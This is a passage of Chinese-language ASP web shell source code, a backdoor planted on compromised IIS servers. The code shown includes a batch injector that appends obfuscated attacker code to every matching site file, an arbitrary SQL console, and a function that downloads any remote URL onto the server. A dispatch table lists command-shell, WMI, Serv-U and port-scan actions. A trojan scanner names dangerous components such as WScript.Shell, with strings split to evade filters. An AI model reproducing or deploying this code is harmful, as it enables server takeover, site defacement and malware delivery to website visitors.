ED= "<td align=center> <a href='javascript:FullForm("""&replace(Wpath&myfile.name,"/","//")&""",""DownFile"")' class='am' title='下载'> Down </a><a href='javascript:FullForm("""&replace(Wpath&myfile.name,"/","//")&""",""EditFile"")' class='am' title='编辑'>   edit </a><a href='javascript:FullForm("""&replace(str1,"/","//")&""",""DelFile"")' οnclick='return yesok()' class='am' title='删除'>   Del </a><a href='javascript:FullForm("""&replace(Wpath&myfile.name,"/","//")&""",""CopyFile"")' class='am' title='复制'>    Copy</a><a href='javascript:FullForm("""&replace(Wpath&myfile.name,"/","//")&""",""MoveFile"")' class='am' title='移动'>   Move </a></td></tr>"
   select case M
       case "4"
         if Instr("|"&zfile&"|","|"&zfile1&"|")<>0   then
     if checkbox<>"checked" then
      Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
         if checkbox1<>"checked1" then
      tfile.writeline Wcode
      else
       tfile.writeline Morficoders(Wcode)
      end if
      echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
      echo ED
      tfile.close
     else
      Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
      if Instr(tfile1.readall,Wcode)=0 then
       Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
         if checkbox1<>"checked1" then
      tfile.writeline Wcode
      else
       tfile.writeline Morficoders(Wcode)
      end if
      echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
      echo ED
       tfile1.close
      else
       echo"<tr><td align=center><font color=red>×</font></td><td>"&Wpath&myfile.name&"</td>"
       echo ED
       tfile1.close
      end if
      Set tfile1=Nothing
      end if
      end if
    case "1"
     if checkbox<>"checked" then
      Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
      tfile.writeline Wcode
      echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
      echo ED
      tfile.close
     else
      Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
      if Instr(tfile1.readall,Wcode)=0 then
       Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
       tfile.writeline Wcode
      echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
      echo ED
       tfile1.close
      else
       echo"<tr><td align=center><font color=red>×</font></td><td>"&Wpath&myfile.name&"</td>"
      echo ED
       tfile1.close
      end if
      Set tfile1=Nothing
     end if
    case "2"
     Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
     NewCode=Replace(tfile1.readall,Wcode,"")
     Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
     objCountFile.Write NewCode
     objCountFile.Close
     echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
     echo ED
     Set objCountFile=Nothing
    case "3"
     Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2)
     NewCode=Replace(tfile1.readall,Wcode,addCode2)
     Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True)
     objCountFile.Write NewCode
     objCountFile.Close
        echo"<tr><td align=center>√</td><td>"&Wpath&myfile.name&"</td>"
     echo ED
     Set objCountFile=Nothing
    case else
     echo"大哥,别乱来.":response.end
   end select
end if
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
NewPath=Wpath&""&f1.name
Response.Flush
  InsertAllFiles NewPath,Wcode,pc
Next
set tfile=nothing
Set FSO = Nothing
set tfile=nothing
set tfile2=nothing
Set WFSO = Nothing
end if
end sub
function Morficoders(code)
dim coders,codelen,codeu,Newcode,Newcoders
code=replace(code,"height=","name='"&GetRnd(1000,9999)&"' height=")
code=replace(code," ","|")
code=replace(code,"||","|")
code=replace(code,"||","|")
coders=split(code,"|")
for i=0 to ubound(coders)
codelen=len(coders(i))
codeu=mid(coders(i),GetRnd(1,codelen),1)
Newcode=replace(coders(i),codeu,ucase(codeu))
Newcoders=Newcoders&" "&Newcode
next
Morficoders=Newcoders
End function
function GetRnd(min,max)
Randomize
GetRnd = Int((max - min + 1) * Rnd + min)
End function

'数据库操作
function DbManager()
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&"<table width='650' border='0' cellspacing='0' cellpadding='0'>"
SI=SI&"<form name='DbForm' method='post' action=''>"
SI=SI&"<tr><td width='100' height='27'> 数据库连接串:</td>"
SI=SI&"<td><input name='DbStr' style='width:470' value="""&DbStr&"""></td>"
SI=SI&"<td width='60' align='center'><select name='StrBtn' οnchange='return FullDbStr(options[selectedIndex].value)'><option value=-1>连接串示例</option><option value=0>Access连接</option>"
SI=SI&"<option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option>"
SI=SI&"<option value=-1>--SQL语法--</option><option value=4>显示数据</option><option value=5>添加数据</option>"
SI=SI&"<option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option>"
SI=SI&"<option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option>"
SI=SI&"<option value=12>完全显示</option></select></td></tr>"
SI=SI&"<input name='Action' type='hidden' value='DbManager'><input name='Page' type='hidden' value='1'>"
SI=SI&"<tr><td height='30'> SQL操作命令:</td>"
SI=SI&"<td><input name='SqlStr' style='width:470' value="""&SqlStr&"""></td>"
SI=SI&"<td align='center'><input type='submit' name='Submit' value='执行' οnclick='return DbCheck()'></td>"
SI=SI&"</tr></form></table><span id='abc'></span>"
echo SI:SI=""
If Len(DbStr)>40 Then
Set Conn=CreateObject("Adodb.connection")
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
SI=SI&"<table><tr height='25' Bgcolor='#CCCCCC'><td>表<br>名</td>"
Rs.MoveFirst
Do While Not Rs.Eof
    If Rs("TABLE_TYPE")="TABLE" then
   TName=Rs("TABLE_NAME")
      SI=SI&"<td align=center><a href=""javascript:if(confirm('确定删除么？'))FullSqlStr('DROP TABLE ["&TName&"]',1)"">[ del ]</a><br>"
      SI=SI&"<a href='javascript:FullSqlStr(""SELECT * FROM ["&TName&"]"",1)'>"&TName&"</a></td>"
    End If
    Rs.MoveNext
Loop
Set Rs=Nothing
SI=SI&"</tr></table>"
echo SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
    SI=SI&"执行语句："&SqlStr
    Set Rs=CreateObject("Adodb.Recordset")
    Rs.open SqlStr,Conn,1,1
    FN=Rs.Fields.Count
    RC=Rs.RecordCount
    Rs.PageSize=20
    Count=Rs.PageSize
    PN=Rs.PageCount
    Page=request("Page")
    If Page<>"" Then Page=Clng(Page)
    If Page="" Or Page=0 Then Page=1
    If Page>PN Then Page=PN
    If Page>1 Then Rs.absolutepage=Page
    SI=SI&"<table><tr height=25 bgcolor=#cccccc><td></td>"
    For n=0 to FN-1
      Set Fld=Rs.Fields.Item(n)
      SI=SI&"<td align='center'>"&Fld.Name&"</td>"
      Set Fld=nothing
    Next
    SI=SI&"</tr>"
    Do While Not(Rs.Eof or Rs.Bof) And Count>0
   Count=Count-1
   Bgcolor="#EFEFEF"
   SI=SI&"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>"
   For i=0 To FN-1
        If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
        If RC=1 Then
           ColInfo=HTMLEncode(Rs(i))
        Else
           ColInfo=HTMLEncode(Left(Rs(i),50))
        End If
     SI=SI&"<td bgcolor="&Bgcolor&">"&ColInfo&"</td>"
   Next
   SI=SI&"</tr>"
      Rs.MoveNext
    Loop
echo SI
SI=""
SqlStr=HtmlEnCode(SqlStr)
    SI=SI&"<tr><td colspan="&FN+1&" align=center>记录数："&RC&" 页码："&Page&"/"&PN
    If PN>1 Then
      SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""",1)'>首页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'>上一页</a> "
      If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
      For i=Sp To Sp+8
        If i>PN Then Exit For
        If i=Page Then
        SI=SI&i&" "
        Else
        SI=SI&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a> "
        End If
      Next
   SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'>下一页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>尾页</a>"
    End If
    SI=SI&"<hr color='#EFEFEF'></td></tr></table>"
    Rs.Close:Set Rs=Nothing
echo SI:SI=""
Else
    Conn.Execute(SqlStr)
    SI=SI&"SQL语句："&SqlStr
End If
echo SI:SI=""
End If
Conn.Close
Set Conn=Nothing
End If
End function

'远程下载
Function remotedown()
SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  echo "下载到服务器:无回显...为了节省.所以无回显<hr/>"
  echo "<form method=post>"
  echo "<input name=theUrl value='http://' size=80><input type=submit value=' 下载 '><br/>"
  echo "<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"
  echo "<input type=checkbox name=overWrite value=2>存在覆盖"
  echo "<input type=hidden value=downFromUrl name=theAct>"
  echo "</form>"
  echo "<hr/>"
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim Http, theUrl, thePath, stream, fileName, overWrite
  theUrl = Request("theUrl")
  thePath = Request("thePath")
  overWrite = Request("overWrite")
  Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
  Set Http = Server.CreateObject("MSXML2.XMLHTTP")

  If overWrite <> 2 Then
   overWrite = 1
  End If

  Http.Open "GET", theUrl, False
  Http.Send()
  If Http.ReadyState <> 4 Then

  End If

  With stream
   .Type = 1
   .Mode = 3
   .Open
   .Write Http.ResponseBody
   .Position = 0
   .SaveToFile thePath, overWrite
   If Err.Number = 3004 Then
    Err.Clear
    fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/")))
    If fileName = "" Then
     fileName = "index.htm.txt"
    End If
    thePath = thePath & "/" & fileName
    .SaveToFile thePath, overWrite
   End If
   .Close
  End With
  chkErr(Err)

  Set Http = Nothing
  Set Stream = Nothing

  If isDebugMode = False Then
   On Error Resume Next
  End If
  End Function

rem =============================================
'功能选择部分
call css()
If action <> "" Then
  check()
End If
call login()

select case action
case "MainMenu"
  MainMenu()
Case "Show1File"
    Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing
'下载文件
Case "DownFile":DownFile FName:ShowErr()
'删除文件
Case "DelFile"
    Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
'编辑文件
Case "EditFile"
    Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
'复制文件
Case "CopyFile"
    Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
'移动文件
Case "MoveFile"
    Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
'删除目录
Case "DelFolder"
    Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
'新建目录
Case "CopyFolder"
    Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
'移动目录
Case "MoveFolder"
    Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
'新建目录
Case "NewFolder"
    Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
case "PageAddToMdb"
  pageaddtomdb()
case "plupfile"
  PageUpload()
Case "ScanDriveForm"
ScanDriveForm
Case "ScanDrive"
ScanDrive Request("Drive")
Case "ScFolder"
   ScFolder Request("Folder")
Case "ReadREG":call ReadREG()
case "ScanPort"
scanport()
Case "ServerInfo":ServerInfo()
Case "Logout"
  logout()
Case "talk"
  talk()
case "Course"
  course()
case "GetTeRmiNAlINfo"
  GetTeRmiNAlINfo()
case "Alexa"
  Alexa(AlexaURL)
case "Servu"
  call Servu():Err.Clear
case "addservu"
  addservu()
case "Cmd1Shell"
  Cmd1Shell()
case "sqlcmd"
  sqlcmd()
case "wmi"
  wmi()
case "lp"
  lp()
case "PageExecute"
  PageExecute()
case "findmuma"
    dim Report
if request.QueryString("act")<>"scan" then
     call Css()
echo kge
echo "<form action=""?Action=findmuma&act=scan"" method=""post"" name=""form1""><TABLE cellSpacing=1 cellPadding=3 width='80%' align=center bgcolor=#666666 border=0><TBODY><TR><TD colSpan=2><B><FONT>查找木马-文件搜索</FONT></B></TD></TR><TR><TD width='20%'>网站根目录;</TD><TD>"&Server.MapPath("/")&"</TD></TR><TR><TD>本程序目录:</TD><TD>"&Server.MapPath(".")&"</TD></TR><TR><TD>填入你要检查的路径:</TD><TD><input name=""path"" type=""text"" value=""."" size=""30"" /> 填“/”网站根目录；“.”为本程序目录</TD></TR><TR><TD>选择查找对象:</TD><TD><input class=c name=""radiobutton"" type=""radio"" value=""sws"" onClick=""document.getElementById('showFile1').style.display='none'"" checked>查ASP 马<input class=c type=""radio"" name=""radiobutton"" value=""sf"" onClick=""document.getElementById('showFile1').style.display=''"">搜索符合条件之文件</TD></TR><TR><TD><input type=""submit"" value="" 开始扫描 "" /></TD><TD><br /><div id=""showFile1"" style=""display:none"">  查找内容：<input name=""Search_Content"" type=""text"" id=""Search_Content"" style=""border:1px solid #999"" size=""20"">要查找的字符串，不填就只进行日期检查<br />  修改日期：<input name=""Search_Date"" type=""text"" style=""border:1px solid #999"" value="""&Left(Now(),InStr(now()," ")-1)&""" size=""20""> 多个日期用;隔开，任意日期填写 <a href=""#"" onClick=""javascript:form1.Search_Date.value='ALL'"">ALL</a><br />  文件类型：<input name=""Search_FileExt"" type=""text"" style=""border:1px solid #999"" value=""*"" size=""20""> 类型之间用,隔开，*表示所有类型<br /><br /></div></TD></TR></TBODY></TABLE></form>"
else
  server.ScriptTimeout = 600
  if request.Form("path")="" then
   echo("No Hack")
   response.End()
  end if
  if request.Form("path")="/" then
   TmpPath = Server.MapPath("/")
  elseif request.Form("path")="." then
   TmpPath = Server.MapPath(".")

else
   TmpPath = Server.MapPath("/")&"/"&request.Form("path")
  end if
  timer1 = timer
  Sun = 0
  SumFiles = 0
  SumFolders = 1
  If request.Form("radiobutton") = "sws" Then
   DimFileExt = "asp,cer,asa,cdx"
   Call ShowAllFile(TmpPath)
  Else
   If request.Form("path") = "" or request.Form("Search_Date") = "" or request.Form("Search_FileExt") = "" Then
   call Css()
    echo("缉捕条件不完全，恕难从命<br><br><a href='javascript:history.go(-1);'>请返回重新输入</a>")
    response.End()
   End If
   DimFileExt = request.Form("Search_fileExt")
   Call ShowAllFile2(TmpPath)
  End If
echo "<TABLE cellSpacing=1 cellPadding=3 width='100%' align=center bgcolor=#666666 border=0>"
echo "<TR><TD colSpan=2><B><FONT>批量挂马器-高级挂马</FONT></B></TD></TR>"
echo "<tr><td>"
echo "<div id=""updateInfo"" style=""background:ffffe1;border:1px solid #89441f;padding:4px;display:none""></div>"
echo "扫描完毕！一共检查文件夹<font color=""#FF0000"">"&SumFolders&"</font>个，文件<font color=""#FF0000"">"&SumFiles&"</font>个，发现可疑点<font color=""#FF0000"">"&Sun&"</font>个"
echo "<TABLE cellSpacing=1 cellPadding=3 width='100%' align=center bgcolor=#666666 border=0><tr>"
If request.Form("radiobutton") = "sws" Then
echo "<td width=""15%"">文件相对路径</td><td width=""15%"">特征码</td><td >描述</td><td width=""20%"">创建/修改时间</td>"
else
echo "<td width=""30%"">文件相对路径</td><td width=""20%"">文件创建时间</td><td width=""20%"">修改时间</td>"
end if
echo "</tr>"
echo Report
echo "<br/></table>"
timer2 = timer
thetime=cstr(int(((timer2-timer1)*10000 )+0.5)/10)
echo "<br><font style='font-size:12px'>本页执行共用了"&thetime&"毫秒</font>"
end if
Sub ShowAllFile(Path)
Set F1SO = CreateObject("Scripting.FileSystemObject")
if not F1SO.FolderExists(path) then exit sub
Set f = F1SO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
  If CheckExt(F1SO.GetExtensionName(path&"/"&myfile.name)) Then
   Call ScanFile(Path&Temp&"/"&myfile.name, "")
   SumFiles = SumFiles + 1
  End If
Next
Set fc = f.SubFolders
For Each f1 in fc
  ShowAllFile path&"/"&f1.name
  SumFolders = SumFolders + 1
    Next
Set F1SO = Nothing
End Sub
Sub ScanFile(FilePath, InFile)
If InFile <> "" Then
  Infiles = "<font color=red>该文件被<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(InFile)&""" target=_blank>"& InFile & "</a>文件包含执行</font>"
End If
Set FSO1s = CreateObject("Scripting.FileSystemObject")
on error resume next
set ofile = FSO1s.OpenTextFile(FilePath)
filetxt = Lcase(ofile.readall())
If err Then Exit Sub end if
if len(filetxt)>0 then
  filetxt = vbcrlf & filetxt
  temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(replace(replace(FilePath,server.MapPath("/")&"/","",1,1,1),"/","/"))&""" target=_blank>"&replace(FilePath,server.MapPath("/")&"/","",1,1,1)&"</a>"
   If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then
    Report = Report&"<tr><td>"&temp&"</td><td>WScr"&DoMyBest&"ipt.Shell 或者 clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8</td><td><font color=red>危险组件，一般被ASP木马利用</font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End if
   If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then
    Report = Report&"<tr><td>"&temp&"</td><td>She"&DoMyBest&"ll.Application 或者 clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000</td><td><font color=red>危险组件，一般被ASP木马利用</font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   Set regEx = New RegExp
   regEx.IgnoreCase = True
   regEx.Global = True
   regEx.Pattern = "/bLANGUAGE/s*=/s*[""]?/s*(vbscript|jscript|javascript).encode/b"
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>(vbscript|jscript|javascript).Encode</td><td><font color=red>似乎脚本被加密了</font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   regEx.Pattern = "/bEv"&"al/b"
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>Ev"&"al</td><td>e"&"val()函数可以执行任意ASP代码，被一些后门利用。其形式一般是：ev"&"al(X)<br>但是javascript代码中也可以使用，有可能是误报。"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   regEx.Pattern = "[^.]/bExe"&"cute/b"
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>Exec"&"ute</td><td><font color=red>e"&"xecute()函数可以执行任意ASP代码，被一些后门利用。其形式一般是：ex"&"ecute(X)</font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   regEx.Pattern = "/.(Open|Create)TextFile/b"
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>.CreateTextFile|.OpenTextFile</td><td>使用了FSO的CreateTextFile|OpenTextFile函数读写文件"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   regEx.Pattern = "/.SaveToFile/b"
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>.SaveToFile</td><td>使用了Stream的SaveToFile函数写文件"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   If regEx.Test(filetxt) Then
    Report = Report&"<tr><td>"&temp&"</td><td>.Save</td><td>使用了XMLHTTP的Save函数写文件"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
   End If
   Set regEx = Nothing
  Set regEx = New RegExp
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.Pattern = "<!--/s*#include/s*file/s*=/s*"".*"""
  Set Matches = regEx.Execute(filetxt)
  For Each Match in Matches
   tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","/")
   If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
    Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"/"))&tFile, replace(FilePath,server.MapPath("/")&"/","",1,1,1) )
    SumFiles = SumFiles + 1
   End If
  Next
  Set Matches = Nothing
  Set regEx = Nothing
  Set regEx = New RegExp
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.Pattern = "<!--/s*#include/s*virtual/s*=/s*"".*"""
  Set Matches = regEx.Execute(filetxt)
  For Each Match in Matches
   tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","/")
   If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
    Call ScanFile( Server.MapPath("/")&"/"&tFile, replace(FilePath,server.MapPath("/")&"/","",1,1,1) )
    SumFiles = SumFiles + 1
   End If
  Next
  Set Matches = Nothing
  Set regEx = Nothing
  Set regEx = New RegExp
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ /t]*|/()"".*"""
  Set Matches = regEx.Execute(filetxt)
  For Each Match in Matches
   tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","/")
   If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
    Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"/"))&tFile, replace(FilePath,server.MapPath("/")&"/","",1,1,1) )
    SumFiles = SumFiles + 1
   End If
  Next
  Set Matches = Nothing
  Set regEx = Nothing
  Set regEx = New RegExp
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ /t]*|/()[^""]/)"
  If regEx.Test(filetxt) Then
   Report = Report&"<tr><td>"&temp&"</td><td>Server.Exec"&"ute</td><td><font color=red>不能跟踪检查Server.e"&"xecute()函数执行的文件。请管理员自行检查</font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
   Sun = Sun + 1
  End If
  Set Matches = Nothing
  Set regEx = Nothing
  Set XregEx = New RegExp
  XregEx.IgnoreCase = True
  XregEx.Global = True
  XregEx.Pattern = "<scr"&"ipt/s*(.|/n)*?runat/s*=/s*""?server""?(.|/n)*?>"
  Set XMatches = XregEx.Execute(filetxt)
  For Each Match in XMatches
   tmpLake2 = Mid(Match.Value, 1, InStr(Match.Value, ">"))
   srcSeek = InStr(1, tmpLake2, "src", 1)
   If srcSeek > 0 Then
    srcSeek2 = instr(srcSeek, tmpLake2, "=")
    For i = 1 To 50
     tmp = Mid(tmpLake2, srcSeek2 + i, 1)
     If tmp <> " " and tmp <> chr(9) and tmp <> vbCrLf Then
      Exit For
     End If
    Next
    If tmp = """" Then
     tmpName = Mid(tmpLake2, srcSeek2 + i + 1, Instr(srcSeek2 + i + 1, tmpLake2, """") - srcSeek2 - i - 1)
    Else
     If InStr(srcSeek2 + i + 1, tmpLake2, " ") > 0 Then tmpName = Mid(tmpLake2, srcSeek2 + i, Instr(srcSeek2 + i + 1, tmpLake2, " ") - srcSeek2 - i) Else tmpName = tmpLake2
     If InStr(tmpName, chr(9)) > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, chr(9)) - 1)
     If InStr(tmpName, vbCrLf) > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, vbcrlf) - 1)
     If InStr(tmpName, ">") > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, ">") - 1)
    End If
    Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"/"))&tmpName , replace(FilePath,server.MapPath("/")&"/","",1,1,1))
    SumFiles = SumFiles + 1
   End If
  Next
  Set Matches = Nothing
  Set regEx = Nothing
  Set regEx = New RegExp
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.Pattern = "CreateO"&"bject[ |/t]*/(.*/)"
  Set Matches = regEx.Execute(filetxt)
  For Each Match in Matches
   If Instr(Match.Value, "&") or Instr(Match.Value, "+") or Instr(Match.Value, """") = 0 or Instr(Match.Value, "(") <> InStrRev(Match.Value, "(") Then
    Report = Report&"<tr><td>"&temp&"</td><td>Creat"&"eObject</td><td>Crea"&"teObject函数使用了变形技术。可能是误报"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
    Sun = Sun + 1
    exit sub
   End If
  Next
  Set Matches = Nothing
  Set regEx = Nothing
end if
set ofile = nothing
set FSO1s = nothing
End Sub
Function CheckExt(FileExt)
If DimFileExt = "*" Then CheckExt = True
Ext = Split(DimFileExt,",")
For i = 0 To Ubound(Ext)
  If Lcase(FileExt) = Ext(i) Then
   CheckExt = True
   Exit Function
  End If
Next
End Function
Function GetDateModify(filepath)
Set F2SO = CreateObject("Scripting.FileSystemObject")
    Set f = F2SO.GetFile(filepath)
s = f.DateLastModified
set f = nothing
set F2SO = nothing
GetDateModify = s
End Function
Function GetDateCreate(filepath)
Set F3SO = CreateObject("Scripting.FileSystemObject")
    Set f = F3SO.GetFile(filepath)
s = f.DateCreated
set f = nothing
set F3SO = nothing
GetDateCreate = s
End Function
Function tURLEncode(Str)
temp = Replace(Str, "%", "%25")
temp = Replace(temp, "#", "%23")
temp = Replace(temp, "&", "%26")
tURLEncode = temp
End Function
Sub ShowAllFile2(Path)
Set F4SO = CreateObject("Scripting.FileSystemObject")
if not F4SO.FolderExists(path) then exit sub
Set f = F4SO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
  If CheckExt(F4SO.GetExtensionName(path&"/"&myfile.name)) Then
   Call IsFind(Path&"/"&myfile.name)
   SumFiles = SumFiles + 1
  End If
Next
Set fc = f.SubFolders
For Each f1 in fc
  ShowAllFile2 path&"/"&f1.name
  SumFolders = SumFolders + 1
    Next
Set F4SO = Nothing
End Sub
Sub IsFind(thePath)
theDate = GetDateModify(thePath)
on error resume next
theTmp = Mid(theDate, 1, Instr(theDate, " ") - 1)
if err then exit Sub
xDate = Split(request.Form("Search_Date"),";")
If request.Form("Search_Date") = "ALL" Then ALLTime = True
For i = 0 To Ubound(xDate)
  If theTmp = xDate(i) or ALLTime = True Then
   If request("Search_Content") <> "" Then
    Set FSO2s = CreateObject("Scripting.FileSystemObject")
    set ofile = FSO2s.OpenTextFile(thePath, 1, false, -2)
    filetxt = Lcase(ofile.readall())
    If Instr( filetxt, LCase(request.Form("Search_Content"))) > 0 Then
     temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(Replace(replace(thePath,server.MapPath("/")&"/","",1,1,1),"/","/"))&""" target=_blank>"&replace(thePath,server.MapPath("/")&"/","",1,1,1)&"</a>"
     Report = Report&"<tr><td>"&temp&"</td><td>"&GetDateCreate(thePath)&"</td><td>"&theDate&"</td></tr>"
     Sun = Sun + 1
     Exit Sub
    End If
    ofile.close()
    Set ofile = Nothing
    Set FSO2s = Nothing
   Else
    temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(Replace(replace(thePath,server.MapPath("/")&"/","",1,1,1),"/","/"))&""" target=_blank>"&replace(thePath,server.MapPath("/")&"/","",1,1,1)&"</a>"
    Report = Report&"<tr><td>"&temp&"</td><td>"&GetDateCreate(thePath)&"</td><td>"&theDate&"</td></tr>"
    Sun = Sun + 1
    Exit Sub
   End If
  End If
Next
End Sub

case "Cplgm"
  plgm()
case "PageWebProxy"
  PageWebProxy()
case "txtsearch"
  txtsearch()
case "DbManager"
  DbManager()
Case "CreateMdb":CreateMdb FName
case "remotedown"
  remotedown()
' Case "CompactMdb":CompactMdb FName
case else mainform()
end select
rem =============================================

if Action<>"servu" then ShowErr()
echo"</body></html>"